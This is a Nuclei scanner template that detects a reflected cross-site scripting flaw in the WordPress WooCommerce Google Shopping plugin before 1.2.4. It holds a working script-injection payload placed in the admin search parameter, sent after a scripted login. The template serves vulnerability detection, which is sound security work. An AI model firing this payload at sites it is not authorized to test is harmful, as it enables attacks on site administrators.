id: elex-woocommerce-xss

info:
  name: WordPress WooCommerce Google Shopping < 1.2.4 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: high
  description: WordPress WooCommerce Google Shopping < 1.2.4 is susceptible to cross-site scripting because the plugin does not sanitize or escape the search GET parameter before outputting it back in the page and executing it in a logged in admin context.
  reference:
    - https://wpscan.com/vulnerability/647448d6-32c0-4b38-a40a-3b54c55f4e2e
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: wp-plugin,xss,authenticated,woocommerce,wpscan,wordpress

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=elex-product-feed-manage&search=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022040d24318dcf6b8e938f6b9f48256e13a9a79b4345ad849b7e367fa680d39e21d022100a7891bafa0de82935b8f36d026ff5703d185bd878cf259ef697757a54d618508:922c64590222798bb761d5b6d8e72950